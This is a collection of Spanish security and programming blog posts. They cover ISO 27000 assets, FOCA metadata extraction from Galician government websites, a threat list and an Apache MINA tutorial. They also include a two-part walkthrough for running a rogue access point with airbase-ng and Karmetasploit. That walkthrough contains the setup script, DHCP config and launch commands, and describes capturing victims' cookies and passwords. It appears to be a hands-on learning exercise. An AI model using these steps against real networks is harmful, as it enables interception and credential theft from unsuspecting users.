Servicios de autenticación de usuario y administración de procesos de usuario, enlaces, cortafuegos, servidores proxy, servicios de red, servicios inalámbricos, anti-spam/virus/spyware, detección/prevención de intrusiones, teletrabajo, seguridad, FTP, correo electrónico/mensajería instantánea, etc., servicios web, contratos de soporte y mantenimiento de software.

ACTIVOS HUMANOS:

- Empleados: Personal y directivos, en particular los que tienen roles de gestión como altos cargos o directores ejecutivos, arquitectos de software y desarrolladores/probadores, administradores de sistemas, administradores de seguridad, operadores, abogados, auditores, usuarios con poder y expertos en general.

- Externos: Trabajadores temporales, consultores externos o asesores especialistas, los contratistas especializados (por ejemplo, los que entienden el mantenimiento del entorno físico de TI), proveedores y socios ...

En lo referente a software para crear el inventario en este wiki sobre ISO 27000 se nos ofrece alguna opción de pago y una hoja de cálculo gratis, pero una vez más me quedo con la alternativa de foro ISO2K7 [ muchas gracias ;) ], en su toolkit tenemos una hoja de cálculo mucho más completa organizada por tipo de activo (ISO27k Asset Register.xls)

Nota: Esta entrada tiene licencia Attribution-Noncommercial-Share Alike 3.0 Unported para respetar la del texto original.

Jesús Pérez

Jugando con la FOCA 2: Metadatos en los ayuntamientos gallegos

2010-05-10T19:57:00.015+02:00

Hace unos días asistí al webcast sobre la nueva versión de la FOCA de la gente de Informática 64, aprovecho para darles las gracias desde aquí por la charla que me sirvió para resolver algunas dudas que me surgieron cuando la probé. No voy a explicar los problemas asociados a los metadatos en los documentos, dejo este enlace donde lo explica Chema Alonso para el caso de los formatos de Microsoft Office. Un resumen rápido: todo documento tiene asociada una información relativa a sí mismo y hay herramientas que permiten extraerlos, pero también las hay para limpiarlos, el OOMetaExtractor es GPL :) y los elimina de los tipos de archivo del OpenOffice.

Al terminar el webcast me puse a hacer unas pruebas y por curiosidad se me ocurrió probar con la dirección de la web de mi ayuntamiento y como podía suponer nadie limpia los metadatos de los documentos publicados. A continuación comprobé que en otros ayuntamientos pasaba lo mismo, así como en la web de A Xunta de Galicia. Para tener una idea general de como están las cosas hice un recuento usando los sitios de 8 de los ayuntamientos más importantes y el de A Xunta. Descargué los ficheros en proyectos por separado y después de arrastrar las carpetas que los contenían a la FOCA obtuve los metadatos (Metadata/Extract all documents metadata) y este es el resultado:

Vemos que en Galicia no nos preocupamos por los metadatos, es una pena que no esté disponible la versión 2.0.3 de la FOCA que incorpora el buscador Exalead y encuentra muchos más documentos del tipo WordPerfect, como nos mostró Chema en el webcast . Esta lista muestra el numero de elementos no repetidos para cada categoría, no tendría sentido usar todos estos datos juntos en un test de intrusión ya que son de dominios sin relación ninguna pero si nos permite observar el volumen de datos sensibles que se puede extraer con un par de clicks de tan solo 8 páginas web. Lo que sí nos puede interesar algo más es el software usado para la crear de los documentos:

No pego la lista completa porque alargaría demasiado la entrada, así que dejo algunos:

PDFCreator Version 0.8.0

GNU Ghostscript 7.06

OpenOffice 2.3

Adobe InDesign CS3 (5.0.3)

Adobe PDF Library 8.0

PScript5.dll Version 5.2.2

Acrobat Distillier 7.0

Microsoft Office 95

OpenOffice 3.0

PFU ScanSnap Manager 4.2.14

Microsoft Office 2000

ADOBEPS4.DRV Version 4.50

AppleWorks 6

QuarkXPress

Microsoft Office 2007

CorelDRAW

Corel PDF Engine 14.0.0.567

Microsoft Office 2008 for Mac

Adobe Illustrator 10.0

Adobe InDesign CS3 (5.0.4)

PSCRIPT.DRV Version 4.0

Acrobat Distillier 3.0

Acrobat PDF Writer 3.0 para Windows

Windows NT 4.0

Adobe LiveCycle Designer 8.0

DynaPDF 2.0

PDF Complete version 3.0.31.1

Macromedia FlashPaper 2.02.2302.0

PDFlib 5.0.3

FreeHand MX: pictwpstops filter 1.0

Adobe Photoshop CS3

pdfFactory Pro www.pdffactory.com

pdfFactory Pro 2.35 (Windows XP Professional Spanish)

Adobe Designer 7.0

pdftk 1.41 - www.pdftk.com

Esto no quiere decir que en los ayuntamientos/Xunta esté todo este software instalado, podría ser que el Photoshop sea de un estudio de diseño que es el que hizo el .pdf y que después se cuelgue directamente en la web. Lo que me llama la atención es la cantidad de software propietario distinto que se usa para crear un documento de ofimática cuando se puede hacer todo esto con el OpenOffice, y mejor no hacer comentarios sobre las versiones "Pro"... Esto puede tener dos lecturas, que en la administración usen copias piratas, lo cual estaría muy muy mal por su parte... ;) o que estén tirando nuestro dinero gastando en software que no es necesario, lo que no sería muy entendible teniendo en cuenta la campaña de apoyo al software libre, distribución de Linux inclusive, de A Xunta.

Para acabar la entrada voy a decirle a la FOCA que analice los metadatos extraídos (Metadata/Analize metadata), pero en este caso solo voy a utilizar los del caso de A Xunta ya que, como dije antes, no tiene sentido analizar conjuntamente los de dominios independientes. Quiero remarcar que solo utilizo las funcionalidades de la foca relacionadas con los metadatos, aunque incorpora otras muchas para ayudarnos a pintar una red durante un test de intrusión, este es el resultado:

Ya tendríamos 77 clientes y 3 servidores posibles con su sistema operativo para comenzar una auditoría solo utilizando la información relativa a los metadatos. Y como vemos, mucho software libre por aquí tampoco hay ... :(

Jesús Pérez

"Top" riesgos en seguridad de la información (I): Introducción y amenazas

2010-05-09T11:26:00.030+02:00

Mientras me documentaba sobre la serie ISO 27000 de cara a mi proyecto de fin de carrera se me ocurrió si habría alguna lista con los riesgos o disconformidades más comunes encontrados en las auditorías, algo similar al OWASP Top 10. Me quedo con éste articulo publicado por la gente del foro ISO27k en colaboración con CISSPForum que, a pesar de ser del 2008, me parece la mejor elección ya que la mayoría de listas de este tipo abordan el tema desde el prisma de la seguridad informática más que desde él de la seguridad de la información y, en este caso, los autores del artículo son auditores con una amplia trayectoria profesional. El objetivo de este artículo es familiarizarme con muchos de los problemas que me voy a encontrar durante una auditoría, intentaré traducirlo añadiendo algunos ejemplos o comentarios que faciliten su comprensión con un vocabulario más accesible a todo el mundo ya que las metodologías suelen utilizar un lenguaje diferente al que estamos acostumbrados.

Introducción

Antes de comenzar es necesario aclarar algunas definiciones de los términos que se van a usar y que según los autores del texto original pueden causar confusión. Se definen en armonía el estándar internacional ISO/IES 27001:

- Activo: Cualquier información o sistema relacionado con el tratamiento de la misma que tenga valor para la organización.

- Amenaza: Cualquier cosa que podría dañar algún activo de la organización.

- Vulnerabilidad: Una debilidad de un activo que puede ser explotada por una amenaza.

- Impacto: Medida del daño sobre el activo derivado de un incidente de seguridad.

- Riesgo: Combinación de un evento y su posible impacto.

- Control: Las políticas, los procedimientos, las prácticas y las estructuras organizativas concebidas para mantener los riesgos de seguridad de la información por debajo del nivel de riesgo asumido.

(Nota: Este glosario puede ser de ayuda con el resto de conceptos.)

Se enumera en listas separadas las amenazas, vulnerabilidades e impactos para, a partir de ellos, elaborar la de riesgos y los controles asociados.

Amenazas

Las amenazas son todo aquello que pueda explotar, deliberada o accidentalmente, alguna vulnerabilidad causando así un incidente de seguridad de la información:

- Imposición de obligaciones legales y reguladoras, lo que puede provocar la violación de las mismas. Por eso es muy importante adecuar los controles a cada organización de forma que se puedan cumplir de una forma razonable.

- Crimen organizado o grupos terroristas que usan identidades robadas y otras formas de compromiso o extorsión para financiar o apoyar actividades criminales. El famoso fallo de DNS permitía engañar al a víctima usando la identidad de una página web de un banco por ejemplo.

- Ciber-criminales, que pueden ser "hackers negros" muy capacitados técnicamente o alguien que pueda permitir pagarles.

- Autores de "malware" como virus, gusanos o troyanos, en particular "key loggers".

- "Phishers", incluyendo los que tienen como objetivo a usuarios individuales creando herramientas específicas para la ocasión.

- "Spammers" que malgastan el ancho de banda y llenan nuestros buzones de basura usando su "malware" y sus "botnets". Tenemos el caso reciente de la red Mariposa que se utilizaba para diferentes fines "por encargo".

- Personal negligente como programadores, arquitectos de software, "testers" y directores de proyectos que pueden causar o hacer fallar la prevención de vulnerabilidades. El 80% de fugas de información confidencial tienen origen en usuarios internos con acceso autorizado a la información.

- Actos intencionados o desastres naturales que pueden interrumpir, dañar o destruir activos y servicios. Engloba desde incendios provocados hasta tornados, inundaciones, etc.

- Estafadores que usan las TI(Tecnologías de la información) para explotar las debilidades en sus controles. Se centran en procesos de negocio activos pudiendo explotar directamente una vulnerabilidad en los sistemas o en otros tipos de información que no reside en sistemas informáticos. Un ejemplo sería un ataque por ingeniería social en el que se consiguen robar algún soporte extraible donde se almacenan las copias de seguridad.

- "Hackers", tanto los negros como los blancos, que aunque su motivación sea la curiosidad también pueden provocar incidentes de seguridad.

- Competencia poco ética(ej. espionaje industrial para robar secretos empresariales, listas de clientes, etc) o potencias extranjeras con objetivos comerciales o secretos de estado y que utilizan el espionaje, ingeniería social, "phishing", "malware" o todo tipo de técnicas de "pen-testing" para lograrlo.

- Empleados no cualificados que provocan que errores humanos de forma inocente, otros descontentos que utilizan mal o desconfiguran los sistemas de seguridad y los que ignoran las políticas de seguridad y las buenas prácticas.

- Boicoteadores que destruyen, o tratan de destruir, activos de información o que prohíben el acceso a los mismos(un tipo de extorsión).

- Acceso no autorizado, modificación o divulgación de activos de información ya sean hardware, software o datos.

- Países altamente cualificados técnicamente en materias de seguridad pueden utilizar la información de la que disponen durante una guerra para atacar las infraestructuras donde reside la información más crítica del oponente.

- Avances tecnológicos. Un ejemplo es la computación atómica, con su llegada es solo cuestión de tiempo que todos los algoritmos de encriptado actuales se queden obsoletos.

En la siguiente entrada sobre este tema seguiré con las vulnerabilidades e impactos.

Nota: Esta entrada tiene licencia Attribution-Noncommercial-Share Alike 3.0 Unported para respetar la del texto original.

Jesús Pérez

Karmetasploit en Backtrack (II)

2010-04-08T18:07:00.174+02:00

En el artículo anterior configuré el entorno necesario para montar el punto de acceso ficticio y dar acceso a las víctimas a Internet, ahora paso a la segunda parte de este ataque que es lanzar el Karmetasploit. Antes de nada, como necesita una base de datos, la forma más sencilla de configurarlo(según sus cradores): gem install activerecord sqlite3-ruby. Ahora arranco Metasploit con el script karma.rc:

iptables -t nat -A PREROUTING -i at0 -j REDIRECT & msfconsole -r karma.rc >> captureKarma.txt

- El primero es necesario porque en la página del proyecto aconsejan forzar que siempre atienda el punto de acceso las peticiones DNS y el cliente no use las que tiene cacheadas.

- Al arrancar msfconsole hay un error al principio porque dice que el plugin dedb_sqlite3 está deprecated, hay que eliminar la primera línea de karma.rc ya que ahora (con Backtrack y Metasploit actualizados) lo carga directamente al iniciar el framework, de hecho vemos que crea la base de datos karma.db a pesar del error. Pero después de un buen rato rompiéndome la cabeza mi conclusión es que no funciona bien ya que solo almacena una cookie y una petición(las últimas) aunque la estructura de datos es correcta, incluso reconoce el sistema operativo del cliente (en la tabla hosts). Sería interesante solucionarlo instalando otra base de datos como MySQL que también tiene plugin para este script. A continuación se muestran unos pantallazos del sqlitebrowser al acabar esta prueba donde vemos este problema:

La tabla interesante es notes, donde guarda las cookies y las contraseñas, en este caso solo hay una(de Facebook), cuando tendría que haber conseguido otras dos más como vemos en el pantallazo de la víctima:

- Debido al problema anterior redirijo toda la salida a un archivo de texto para poder examinarlo con calma más adelante.

¿Qué pasa al arrancar Kametasploit? Todas sus funcionalidades las encontramos en esta entrada de PenTestIT, pero en esta prueba(debido al software que se utiliza el cliente) podemos resumirlo en lo siguiente:

- Crea multitud de servidores e intenta explotar alguna vulnerabilidad en el cliente, si todo va bien(el software de la víctima no esta actualizado) conseguirá él solo una sesión de Meterpreter para poder jugar con ella :P. Pero en nuestro caso tenemos un Windows 7 actualizado así que no es el caso, el siguiente vídeo muestra un ejemplo de uso contra un XP vulnerable:

Al obtener una sesión podrían aplicarse distintas técnicas como por ejemplo activar el escritorio remoto de la víctima y crear un usuario administrador usando el script getgui.

- Se conecta a sitios comunes (Gmail, Facebook, Twitter...) para obtener cookies almacenadas en el navegador del cliente. Como dije antes almacené la salida encaptureKarma.txt, a falta de base de datos corto y pego las partes interesantes:

Me falta comentar que en cuanto empezamos con esta parte del ataque en el navegador de la víctima deja de navegar y aparece lo que se ve en la imagen. Se podría modificar simplemente por una web en blanco para que fuese menos "cantoso" (ruta: /opt/metasploit3/msf3/data/exploits/capture/http/index.html).

Ahora me quedo con las ganas de probar al hermano de Karmetasploit: Jasager, que es, básicamente, el script KARMA en la Fonera. Dejo aquí este enlace donde explican como configurarlo por si alguno que tenga una se anima... ;)

Jesús Pérez

Karmetasploit en Backtrack (I)

2010-04-05T15:59:00.215+02:00

Hace algún tiempo a través de PenTestIt descubrí algo que me sorprendió mucho a primera vista: Karmetasploit, en la introducción del proyecto nos cuentan un poco de historia:

"La versión original de KARMA dependía de una versión modificada del controlador Madwifi para tarjetas inalámbricas Atheros. Si bien este enfoque funciona, se limita a los tipos de tarjetas de red que se pueden utilizar y requiere un cierto esfuerzo para mantener el parche con la última versión del código fuente de madwifi. Para remediar esto, los desarrolladores de Aircrack-NG (específicamente Hirte) desarrolló punto de acceso en modo usuario que funciona con cualquier tarjeta inalámbrica que soporte el modo monitor y la inyección. Esta herramienta se llama 'airbase' y fue incluida en la versión 1.0rc1 de Aircrack-ng. No sólo resuelve los límites de hardware de utilizar un controlador madwifi parcheado, también hace mucho más fácil modificar e integrar nuevas funciones."

Después de realizar distintas pruebas(unas con más éxito que otras) siguiendo la información que iba encontrando observé que casi todos utilizaban las distintas posibilidades de combinación que ofrecen Aircrack-ng, Karma y Metasploit para conseguir disferentes tipos de ataques. Este tema me llamó mucho la atención y se me ocurrió unficar todo esto así que voy a darle unas vueltas al tema a ver que sale de aquí. A las herramientas mencionadas hay que añadir un componente de ingeniería social para conseguir que la víctima se conecte al nuestro punto de acceso pero no va ser necesario, veremos aún teniendo nuestra propia conexión, tendemos a usar las de los demás :).

Como cliente víctima voy a usar un equipo con el sistema operativo Windows 7 ya que la mayoría de los ejemplos que hay por ahí prueban con Windows XP sin actualizar(más adelante entenderemos el porqué). El ataque se va a dividir en dos partes fundamentales:
- Montar el punto de acceso ficticio y dar acceso a las víctimas a Internet.
- Arrancar el Karmetasploit para que capture todo lo que pueda.

Para la primera utilizo la suite Aircrack-ng, más concretamente el paquete airbase-ng, recientemente descubrí una interfaz gráfica que soporta algunas de sus funcionalidades y que me resulta muy cómoda para ahorrarme el reescribir comandos y parámetros al realizar auditorías en redes inalámbricas. Se llama Gerix Wifi Cracker y está incluida en de Backtrack, no hay demasiado en la red sobre su uso, en este video los creadores muestran como utilizarlo para romper una clave WEP:

Creo el punto de acceso falso siguiendo estos pasos:

Paso 1 - Ponemos la tarjeta en modo monitor en la pestaña de Configuración (Enable/Disable Monitor Mode) y vemos que mantiene wlan0 como estaba y crea una nueva(mon0) en modo monitor.

Paso 2 - En Fake AP se configuran los parámetros de la red inalámbrica, la dejaremos sin contraseña, simplemente definiremos un nombre y un canal, marcando la opción Respond to all probes(recomendación de Karmetasploit) . Al arrancarlo se abre un xterm con el comando ejecutado en la cabecera de la ventana para que sepamos los parámetros exactos que se le pasan a airbase-ng:

Ahora si buscamos redes inalámbricas en el equipo cliente vemos que ya aparece la nueva.

Paso 3 - En este punto yo utilizo el siguiente script para compartir la conexión a internet y terminar la configuración del entorno :

#!/bin/bash

## NOTE: Replace YOURESSID with the essid you want

## to connect and its key(ASCII) and YOURIFACE for

## your interface with access to internet.

# delete old database

rm karma.db

# stops running services (if any)

killall dhcpd3

# connects to internet (if not)

ifconfig YOURIFACE down

iwconfig YOURIFACE essid YOURESSID key s:YOURKEY

dhclient YOURIFACE

# shares internet conexion

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -F

iptables -t nat -A POSTROUTING -o YOURIFACE -j MASQUERADE

# ups fake access point interface

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0

# starts dhcp and dns server

dhcpd3 -cf /root/dhcpd.conf at0

# starts tcpdump

tcpdump -i at0 -s 65535 -w capture5 &

Comentarios acerca de el script:

- Tuve que desinstalar el paquete dnsmasq-base porque había conflictos con el dhcpd3 ya que es un servidor DHCP también, entre otras cosas. La salida al arrancarlo dice que hay un error de permisos pero funciona igual.

- Pego a continuación mi fichero de configuración (/etc/dhcp3/dhcpd.conf), utilizo los DNS de Google porque así me ahorro el tener que configurar un servidor(en los ejemplos que ví lo suelen hacer con bind o con el dnsmasq) en la red local.

option domain-name-servers 10.0.0.1;

default-lease-time 60;

max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
# Google DNS server
option domain-name-servers 8.8.8.8;
}

- En la página del proyecto aconsejan realizar una captura con tcpdump por si Karmetasploit fallase, en este ejemplo el parámetro -s es para que "esnife" de forma que los paquetes puedan ser analizados posteriormente con el Wireshark.

- Como solo tengo una tarjeta inalámbrica en el equipo usaré wlan0 para seguir conectado a internet y mon0 para crear la red inalámbrica, esto en teoría debería ser posible pero en la práctica a veces desconecta, lo soluciono reconectandola: iwconfig wlan0 essid ... & dhclient wlan0

Como me estoy alargando mucho dejo la segunda parte del ataque para otra entrada, lo que sí se puede hacer ya es usar algún sniffer "de toda la vida" ya que todo lo que envía y recibe el usuario pasa por nuestra interfaz at0. Aprovechando que estoy usando el Messenger en el equipo víctima mientras escribo esto voy a probar con dsniff, que creo recordar que tenía una herramienta para capturar conversaciones, tras una pequeña búsqueda en Google... :)

Jesús Pérez

Desarrollo rápido de aplicaciones de red: Apache Mina (II) - Nociones básicas

2010-03-28T20:52:00.006+02:00

En el artículo anterior explicaba como preparar el entorno de trabajo necesario para desarrollar aplicaciones de red utilizando los framework J2EE, Eclipse y Apache MINA. Un buen punto de partida es como siempre la "Quick start guide" del proyecto, en ella se explican los pasos básicos para la construcción de una aplicación con MINA, en este caso a través del ejemplo del servidor de hora probado con anterioridad, no tiene sentido explicar ese mismo ejemplo así que me centraré en el servidor reverser que es muy similar. No entraré en los parámetros de los métodos de las clases, para eso tenemos la API, ni en el funcionamiento interno del framework, en la guía de usuario que aunque no está completa todavía, sí aborda algo el tema en el apartado 2. Como comenté en la entrada anterior solo daré algunas nociones que puedan ayudar a alguien intentando que esto sea un complemento a la documentación oficial del proyecto ya que solo se explica el código de algún ejemplo y no existe demasiado en castellano sobre MINA.

El paquete del reverser(org.apache.mina.example.reverser) tiene 2 clases y una archivo .html con la descripción del mismo. La clase Main.java es la principal del proyecto como su nombre indica y ReverserProtocolHandler.java tampoco es muy difícil de suponer que va a ser el manejador de los eventos que producen las conexiones entrantes.

Comenzamos la inspección del código por la clase Main.java:

Esta clase es prácticamente igual que en el caso del servidor de hora del ejemplo de la documentación, solo cambia la línea 4 que ahora comentaremos:

1 - La clase NioSocketAcceptor.java es el objeto que se encarga de escuchar las conexiones entrantes.

2 y 3 - Los filtros funcionan como muestra la siguiente imagen enlazada desde éste artículo de la documentación oficial donde se explica todo esto en profundidad. La idea se resume en que el mensaje lo recibe la aplicación por el acceptor y va "subiendo" desde el nivel más bajo de la cadena de responsabilidad a medida que se le van aplicando filtros de la cadena(ioFilterChain) definida sobre ese aceptor cuya misión es tratar las tramas de bits recibidos. Como podemos deducir de lo anterior el orden en que se le aplican es importante ya que, como acabo de decir, la trama recibida se trata secuencialmente.

En nuestro ejemplo se aplican dos filtros(se pueden aplicar todos los que se necesiten en función de nuestras necesidades):

- logger: Crea logs sobre las conexiones, aquí tenemos más información sobre el sistema de logs de MINA.

- codec: Define como se codifican/descodifican las tramas enviadas/recibidas, por ejemplo en el caso de las tramas recibidas dice como debe de interpretar los bytes la aplicación para poder utilizarlos. En este caso utiliza un codec que incorpora MINA para las tramas de texto que son las que necesita este servidor reverser, al igual que pasaba con el servidor de tiempo. Este sistema modular nos permite que la aplicación soporte nuevos protocolos siendo necesario solamente definir un nuevo codec.

4 - Establece en manejador para los eventos producidos por nuestro aceptor(conexiones entrantes), es el que contendrá la lógica de negocio de la aplicación y por lo tanto es donde centraremos nuestro desarrollo.

5 - Hace el bind del socket con el puerto.

Nos queda definir la lógica de negocio en el manejador de nuestra aplicación, en el ejemplo ésta reside en la clase ReverseProtocolHandler.java.

De aquí nos interesa el método messageReceived(), el propio framework nos ofrece en el parámetro message la trama de bits recibida y en el parámetro session la sesión TCP para poder responderle, el desarrollador no tiene que preocuparse de nada más. La lógica de negocio en este caso es convertir la trama a tipo String y darle la vuelta a los caracteres. A continuación se escribe en la sesión, en este caso en forma de tipo String por tener definido el codec para texto como se explicó mientras hablábamos de los filtros. Si no se hubiera definido niguno habría que enviar los bytes usando para ello algún método del objeto a enviar para obtenerlos(.getBytes() normalmente). Para hacer una pequeña prueba podemos crear una cadena nueva y enviarla añadiendo esta línea al final y vemos que ahora el reverser es más simpático... :) :

String probing = ":)"; session.write(probing);

(Nota: El telnet de Windows hace cosas un poco raras, desconozco el porqué pero para nuestras pruebas es suficiente, en el artículo anterior las pruebas eran con un Debian y funciona perfectamente.)

El método messageReceived() lo invoca el framework cuando se produce un evento(llegada de un mensaje) pero podemos añadir comportamiento a la aplicación definiendo otros, ¿cuales defino? Si miramos el código de ReverseProtocolHandler.java vemos que extiende a la clase IoHandlerAdapter.java redefiniendo sus métodos, así que nos vamos a la API y encontramos que además tiene los siguientes métodos: exceptionCaught(), messageSent(), sessionClosed(), sessionCreated(), sessionIdle() y sessionOpened(). Los nombres son lo suficientemente explicativos así que para terminar vamos a hacer otra pequeña prueba para comprender un poco mejor el funcionamiento y de paso hacer nuestro servidor un poco más educado y conseguimos que nos salude al conectarnos. Redefinimos el método sessionOpened() añadiendo el siguiente trozo de código antes del método messageReceived() y listo :) .

@Override

     public void sessionOpened(final IoSession session){
       String probing = "Hi!, how are you?";
       session.write(probing);
   }

Intentaré escribir alguna entrada más tratando más en profundidad temas como la gestión de logs, conexiones asíncornas o la creación de codecs nuevos.

Jesús Pérez

Desarrollo rápido de aplicaciones de red: Apache Mina I - Primeros pasos

2010-03-27T01:15:00.037+01:00

En mi primera entrada voy a empezar por algo sencillo pero que creo que puede servirle a alguien como una primera introducción a este framework ya que no hay demasiado en castellano por Internet sobre el tema. ~~Una parte de mi PFC(Proyecto Fin de Carrera) consiste en el desarrollo de una pasarela que realiza una conversión entre protocolos distintos(ambos sobre TCP/IP),~~ mi primera intención fue elegir C, por ser el lenguaje de programación que mejor conozco y el que utilizamos durante la carrera para las aplicaciones de este tipo. Debido a mi PFC es el objetivo de una beca de prácticas de trabajo en una empresa, por motivos corporativos, de entre las opciones que me ofrecieron me quedé con Java por haber desarrollado con anterioridad alguna aplicación web con el IDE Eclipse y el framework J2EE. Esto que en principio me pareció un pequeño problema resultó ser una ventaja porque aunque se necesite un tiempo de adaptación al nuevo entorno y unas cuantas horas de lectura y repaso de código, al final permite aprovechar las ventajas de la programación orientada a objetos para implementar una aplicación de red multipropósito teniendo solo que definir los protocolos involucrados y el comportamiento específico que se precise para el tipo de aplicación.

Las primeras pruebas que realicé fueron con las clases del framework JAVA.NIO (New Input Output) incluido en J2EE, recomiendo éste texto que introduce al lector al tiempo que se desarrolla una aplicación de chat típica por lo cual resulta bastante entretenido. Buscando un framework para el desarrollo de aplicaciones de red en Java(porque en Java hay frameworks para todo :) ) apareció Apache MINA(Multipurpose Infrastucture Networked Aplications) que es un proyecto de Apache que está aun madurando pero ya existen productos desarrollados con esta tecnología. Entre sus ventajas destaco las siguientes:
- Es multipropósito, como dije antes solo es preciso implementar el codec para los protocolos necesarios y el coportamiento específico de la aplicación(lógica de negocio)..
- Utiliza JAVA.NIO, el nuevo framework de Java con nuevas características y mejoras en rendimiento respecto a JAVA.IO.
- Gestiona eficientemente la respuesta a multiples peticiones simultáneas evitándole al programador la necesidad de gestionar de múltiples threads.
- Funciona sobre TCP o UDP.
- Diseñado especificamente para el fin, por ejemplo, los buffers de envío y recepción se expanden y se contraen solos(si queremos).
- Dirigido por eventos, solo hay que definir las acciones a llevar a cabo en funcion de los eventos(conexión creada, mensaje recibido ...) que se producen.
- Todas las ventajas de los lenguajes de programación orientados a objetos(reutilización, abstracción ... )

Vamos al tema, empezaremos por explicar los pasos necesarios para poner a andar todo esto ya que el framework es un proyecto de Apache Maven y quiero usar Eclipse para desarrollar. El primer paso es instalar el Maven, en mi Debian: apt-get install maven2 . En Windows los instaladores los encontramos con éstas instrucciones de instalación.

El siguiente paso es descargar el framework de MINA, en este caso elijo la versión 2.0.0-RC1 aunque es inestable porque hay bastantes cambios respecto a la 1 en algunas de las clases y en el fururo prodrían aparecer problemas de compatibilidad en la aplicación. A continuación se descomprime y se accede a la carpeta por consola ya que no hay plugins de Maven oficial para eclipse y los que probé no me acabaron de funcionar correctamente. Accedemos hasta la carpeta mina-example por ser los proyectos de ejemplo con los que vamos a realizar las pruebas: cd mina-2.0.0-RC1/src/mina-example/ y le decimos al Maven que cambie el proyecto al formato del Ecplise: mvn eclipse:eclipse

Tarda un rato en actualizar el propio Maven(si es preciso) y descargar las dependencias del proyecto. Cuando termina ya tenemos el proyecto en formato del Eclipse así que lo importamos (File/Import.../Existing Projects into Workspace y le damos a Next), en la siguiente pantalla elegimos la ruta del proyecto mina-examples y marcamos la opcion de copiarlo al espacio de trabajo:

Nos aparecerá el proyecto a la izquierda en el explorardor de proyectos y vemos que hay errores, falta definir la variable M2_REPO con la ruta del repositorio de Maven (donde están las dependencias que descargó antes) en la configuración del Eclipse: (Window/Preferences/Java/Classpath Variables/New...)
(Nota: En Linux la carpeta .m2 está en el home del usuario y en Windows la encontramos en Documents and Setting/Usuario en el XP y en Users/USUARIO en el Vista/7).

Se recomendará una recompilación y comprobamos que ahora sí encuentra las dependencias por lo que ya se puede ejecutar el primer ejemplo. Empezamos por el el ejemplo más sencillo, org.apache.mina.example.gettingstarted.timeserver es un servidor que lo único que hace cuando recibe cualquier petición es devolver la fecha y la hora del sistema. Ejecutamos la clase MinaTimeServer.java:

Para comprobar que funciona nos podemos conectar con telnet al puerto 9123(sale en el código fuente de la clase en la primera línea): telnet localhost 9123, lo que se muestra por consola son los logs de la aplicación, porque !MINA incorpora también la gestión de logs!.

Otro ejemplo con la aplicación reverser: telnet localhost 8080

Listo, ya tenemos MINA funcionando. En una próxima entrada intentaré resumir algunas nociones básicas para saber por donde empezar y no perdernos con tal cantidad de clases cuando todavía no escribimos una sola línea de código, pero eso sí, tenemos una implementación de una aplicación de red multipropósito con distintos ejemplos probados para poder experimentar y no empezar de 0, algunos incluso con sus correspondientes tests del JUnit (en el paquete src/test/java del proyecto). Asegurándonos además de que las clases que los componen, y por lo cual las que usaremos nosotros para nuestra aplicación, están diseñadas y probadas por los desarrolladores de Apache MINA con las ventajas que ello supone.

Jesús Pérez